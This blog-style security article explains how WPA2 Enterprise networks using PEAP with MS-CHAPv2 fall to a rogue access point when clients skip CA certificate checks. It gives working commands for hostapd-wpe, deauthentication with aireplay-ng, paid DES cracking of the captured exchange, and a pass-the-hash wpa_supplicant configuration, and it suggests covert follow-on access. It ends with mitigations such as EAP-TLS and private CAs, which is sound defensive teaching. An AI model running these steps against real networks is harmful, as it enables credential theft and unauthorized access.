While I’m not the first person writing about this quite sensitive topic, I won’t be the last one. In this article I’m going to deal with a quite often misconception in WPA2 Enterprise networks related to MS-CHAP.

While WPA2 PSK as well as WPA2 Enterprise networks are basically considered to be secure, users and admins can perform quite dangerous configurations which don’t just put a risk on a single client but also can cause harm to the whole network and expose sensitive information to an attacker.

This article will deal with those misconfigurations and the resulting security implications as well as the proceeding of an attacker. We are not going to crack a weak password using a dictionary. Instead I will present a method which will defeat any strong password. Furthermore I will evaluate possible solutions and their impact on usability, administration and security.

Warning: If you follow the instructions provided in this article, please keep in mind that attacking networks of third parties might be illegal in your country. Please think before even trying, as knowing too much about a third parties network security might put you into discrepancy between keeping a secret and telling the operator about the problem to resolve the issue.

The Basics

First of all we will going to take a quick survey on WPA2 Enterprise and MS-CHAP to gain the basic knowledge required to understand the attack.

WPA2 Enterprise

WPA2 Enterprise is mostly used in bigger networks to avoid a single (shared) key for all devices. In opposite to WPA2 PSK every user has an individual username and password. In case a user enters or leaves our organization we can easily add or remove the account without changing the wireless key for every device. The advantage in administration comes with the requirement of a radius server. This server stores information about users accounts or interfaces with other authentication backends like LDAP. Additionally it is used by the access points which forward the authentication data between the users device and the radius server. As soon as the radius server permits access, the access point will connect the client to the corresponding network.

WPA2 Enterprise itself offers different authentication methods. Because we often use an outer tunnel for data encryption and an inner tunnel for authentication, we have many different combinations which put different security risks on our network in case of a bad implementation.

PEAP

Currently PEAP (Protected EAP) is the most used standard for outer tunneling. The idea is to encapsulate the inner authentication protocol which might be vulnerable to passive sniffing. Therefore PEAP encrypts the inner data and ensures that only the radius server of the network we are currently trying to connect to is able to read the inner data.

The radius server sends it’s public key to the client at session start. This key is used to encrypt all traffic directed to the access point by the client during authentication. Thus we can ensure that an attacker can’t decrypt the authentication frames by passive sniffing as long as the private key remains secret (which is normally the case).

This sounds great, right? Well, just continue reading…

MS-CHAP

MS-CHAP is one of the authentication protocols which can be used inside of a PEAP tunnel. It is designed as an challenge-response authentication protocol. That means that the client has to proof that it knows the correct password according to the username but the password is never transmitted in cleartext. After the client proofed he knows the password, the radius server has to proof as well. This should ensure that a client doesn’t connect to a fake network.

However there is one problem: MS-CHAP heavily relies on DES which brings us the DES section of this article…

Rogue Access Points

A rogue AP is mainly a fake access point operated by an attacker. It sends the same ESSID and encryption as the legitimate access points. The idea is that clients connect to the rogue AP and start the authentication process. As the attacker operates a radius server as well, he is able to sniff the whole authentication proccess which would be normally protected by PEAP.

In case a client uses outdated TTLS with PAP, the credentials are sent in cleartext. In this case you could stop reading here as an attack is trivial with a standard freeradius server. Just enable username and password logging for failed login attempts and you are done.

CA Certificates

All you read so far isn’t that bad. We can easily fix all the issues caused by rogue access points by importing a simple certificate into our client. Once a client is equipped with a CA Certificate, it will check if the public key of the Radius server has been issued by the provided CA. In case this check fails, the authentication process will be aborted and the attack becomes impossible.

However many devices don’t have a CA Certificate available and are vulnerable to rogue APs. The main assumption for this article is that we have a least one client connected to the network which can’t check the Radius certificate and therefore leaks user credentials. As I already outlined that it would be boring to attack TTLS/PAP we are going to attack MS-CHAP which is a bit harder.

Cracking of DES

The DES algorithm uses a key length of 56 bit for message encryption which means that there are only 2^56 different keys a message could have been encrypted with. Martin Hellman and Whitfield Diffie criticized the algorithm already in 1976 when they estimated that a computer capable of cracking a key a day would cost about $20 million. They expected this to be affordable by a secret service.

In 1998 DES could be cracked within 56 hours using hardware which cost less than $250.000. As faster hardware came up, it became obvious that DES was not secure anymore 😉 . Finally DES was replaced by AES. However there are still some algorithms out there relying on DES. Just think of MS-CHAP.

Performing an attack

After checking out the basics, it is now time to attack a test device. First of all we are going to make sure to install the required packages. You will either need a Kali or a BlackArch Linux.

Prerequisites

Hardware

• A $2 China wifi dongle supporting monitor mode (optional)
  
• A bit more expensive wifi dongle supporting AP mode
  

Lab Environment

I assume that you already have experience with WPA2 Enterprise networks and a working setup with some clients around.

Testing a system for the vulnerability is quite easy. We will use hostapd-wpe which contains a patched radius server to capture beside the username also the challenge and response. Furthermore I will use aircrack-ng to deauth the victims device to make the attack more realistic. However this is an optional step in our lab environment. Installation can be easily performed on blackarch:

sudo pacman -S hostapd-wpe aircrack-ng

Next, we need to modify the configuration file located at /etc/hostapd-wpe/hostapd-wpe.conf. Change the SSID to the desired name and select your wireless interface. Make sure that this interface supports working in AP mode.

Attack

Rogue AP

Now we can start our attack. It might be required to stop your network manager. In case hostapd-wpe still fails to start, it might help to run

sudo aircrack-ng check kill

Next we will start hostapd-wpe:

sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.con

Deauth Attack

We could now wait for a client trying to authenticate to our newly created rogue AP. But as we don’t want to wait all day long, we are going to perform a deauth attack. For this, we need a second wireless network interface supporting monitor mode.

First of all, bring your interface into monitor mode:

sudo airmon-ng start wlan1

Next, start looking for APs with the desired ESSID:

sudo airodump wlan1mon --essid MyESSID

After choosing your a victim AP, remember the BSSID and fix your interfaces channel:

sudo airodump wlan1mon --essid MyESSID -c 6

Next you can start to deauth all clients:

sudo aireplay-ng -0 100 -b <BSSID>

This will force all clients to disconnect from the network. Now the clients will try to reconnect. If your rogue APs signal is stronger, the client will try to connect to your network. So in case the CA Certificate check is disabled, we finally know a challenge and a response.

Success

hostapd-wpe will output the username as well as the sent challenge and the clients response:

mschapv2: Tue Jan  8 00:16:54 2019
          username:      Alice
          challenge:     f7:50:a8:84:ca:b2:ad:22
          response:      3d:3e:74:ed:22:e5:cc:ec:4c:1d:df:9e:a1:2b:a7:55:e8:93:fa:a8:72:15:fb:88
          jtr NETNTLM:   Alice:$NETNTLM$f750a884cab2ad22$3d3e74ed22e5ccec4c1ddf9ea12ba755e893faa87215fb88

Using these information we a able to crack the password in the next section.

Cracking DES

In case a weak password is used, we might be able to crack it using John the Ripper together with a dictionary. However we assume that the password is perfectly save and we can’t crack it using a dictionary attack.

Normal home computers are still unable to crack DES in a reasonable amount of time. Luckily there are online services available which use special ASICs (basically FPGAs). Those special chips are more efficient than a CPU or GPU as they are designed for the required operations. In this case I’m going to use crack.sh. Just input your data from hostapd-wpe, pay $20 using your credit card and wait for the email containing the password. In my case the email arrived within 24 hours, which was much faster than promised.

What will I get?

Well, you won’t get the cleartext password. Instead you get the NT-Hash of the password (which is basically an MD-4 Hash). We don’t need to crack this hash. Instead we will it use directly to connect to the network using WPA supplicant on Linux. Your wpa_supplicant.conf should look like this:

network={
   ssid="NETWORK"
   scan_ssid=1
   key_mgmt=WPA-EAP
   identity="USERNAME"
   password="hash:NTHASH Here"
   eap=PEAP
   phase1="peaplabel=0"
   phase2="auth=MSCHAPV2"
}

Congratulations, you will be able to connect to the network.

Why can I use the Hash?

This is due to the design of MS-CHAP. The cleartext password is hashed before it is used to generate the challenge-response. As the client has never to proof that it knows the cleartext password but the hash, you can easily skip the step of hashing and tell WPA Supplicant that the password is already hashed.

This means that your password might be complex and uncrackable by brute force attacks. However it doesn’t give you any advantage having a strong password in this scenario. Cracking DES using crack.sh gives you a success warranty of 100%.

Impacts on network security

Now we have to assume that an attacker is able to connect to our network. But what are the risks?

If your network has been designed to be still secure in case you have any attacker inside your network, you might have still some security. However if you decided “All devices in this network are trusted” you might have a problem now. As your servers configurations might be weak, an attacker could now continue to attack internal services and gain more and more access to your systems and sensitive data.

Domain credentials as login information

Attackers gaining access to your internal network might be a nightmare for you. Unfortunately it might be even worse. In case you use domain credentials for wireless authentication, an attacker becomes also able to access any file servers which are accessible with the obtained Username and NT-Hash. Use tools of impacket for this purpose.

But I would notice somebody with a Laptop!

Nope. It is easy to build the required equipment to fit into a backpack. I used a Raspberry Pi inside a self made housing to make it more resistant against damage inside my backpack. It is powered by a 20Ah power bank which will run all devices like Raspberry, GPS and Wifi sticks for several hours.

After the successful attack an attacker could park a car in front of your location, put his Raspberry Pi inside and connect it to the cellular network. Driving home by bus he could perform any attacks without being noticed.

Usage of private devices

If your users know the credentials used for domain logon (which they need to know) they might think:

Let’s check if I can use these on my private smartphone to login into the wireless network to get free internet access.

Just a bad idea of a user

And now something really bad happened. You are now unable of controlling how the users devices are configured and get vulnerable devices without even knowing about it. Additionally employees might visit places with there private device activated, where they are out of range of your wireless network. However if an attacker deploys a rogue access point, their devices will connect and reveal the credentials. You don’t have any chance to protect against this except using different credentials for domain and wireless logon.

Mitigations

MS-CHAP

In case you want to continue using username and password for wireless authentication, the only chance to prevent such an attack is to import the CA Certificate into all devices. Remember: Already a single vulnerable device might compromise your networks security.

iOS

iOS imports the CA cert when the first connection to the network is established. This way iOS devices should be secure by default. In case you are attacked during the first connection attempt, you might still detect this as the certificate is presented to you and has to be accepted.

Android & Linux

On both platforms you have to setup the CA Certificate verification manually. In case don’t configure, you are vulnerable to the attack.

Windows

Windows might be secure or not. If you created the connection using the Wifi manager by clicking on the network name, the certificate seems to be stored automatically. Windows will ask you if you really want to connect as it might be dangerous. The certificate is not shown so you can’t check and might still be attacked.

In case you setup the network manually you also have to import the certificate manually.

EAP-TLS

One of the best solutions is to use EAP-TLS. This is only practicable in case you have centrally administrated devices as you will need to install custom client certificates for each device. It will ensure that users can’t join your corporate network as they don’t have access to such a certificate and even if they would, the whole process is less vulnerable. Therefore I strongly recommend to use EAP-TLS where possible.

eduroam

I expect many networks to be vulnerable out there. So I want to give an example where it was impossible to fix the problem. The wireless network eduroam is used at universities all around the world to supply students and researchers with internet access. A well designed authentication infrastructure allows you to connect at any university using your home institutions login credentials.

Many students don’t understand why they should import a CA Certificate. If you operate a rogue AP in a city like Aachen you will soon see multiple devices which aren’t configured properly. This is why many universities started to force different credentials for wireless authentication than for services like single sign on.

Public CAs

Never do that! Let’s assume that your Radius certificate has been issued by a public CA which is already trusted by most or all systems by default. In this szenario we will take a certificate of comodo. You would configure your clients to accept all Radius servers which use a certificate issued by comodo.

Anybody who only tries to connect to your network can download and view your certificate before even sending credentials. An attacker would see that your certificate was issued by comodo and would purchase a comodo certificate for his attack as well.

Your clients would still connect to the attackers Rogue AP as the certificate has been issued by a trusted CA.

Using a public CAs certificate is not only more expensive but also insecure in this case. Make always sure that you are the only party which is able to issue a certificate from the used CA in a Radius environment. This can be effectively done by creating a private CA and issue self signed certificates.

For more information on issues with public CAs regarding Windows clients check out this article.

Further articles on this blog

You can find further articles about more issues on WPA2 Enterprise networks on my blog by clicking here.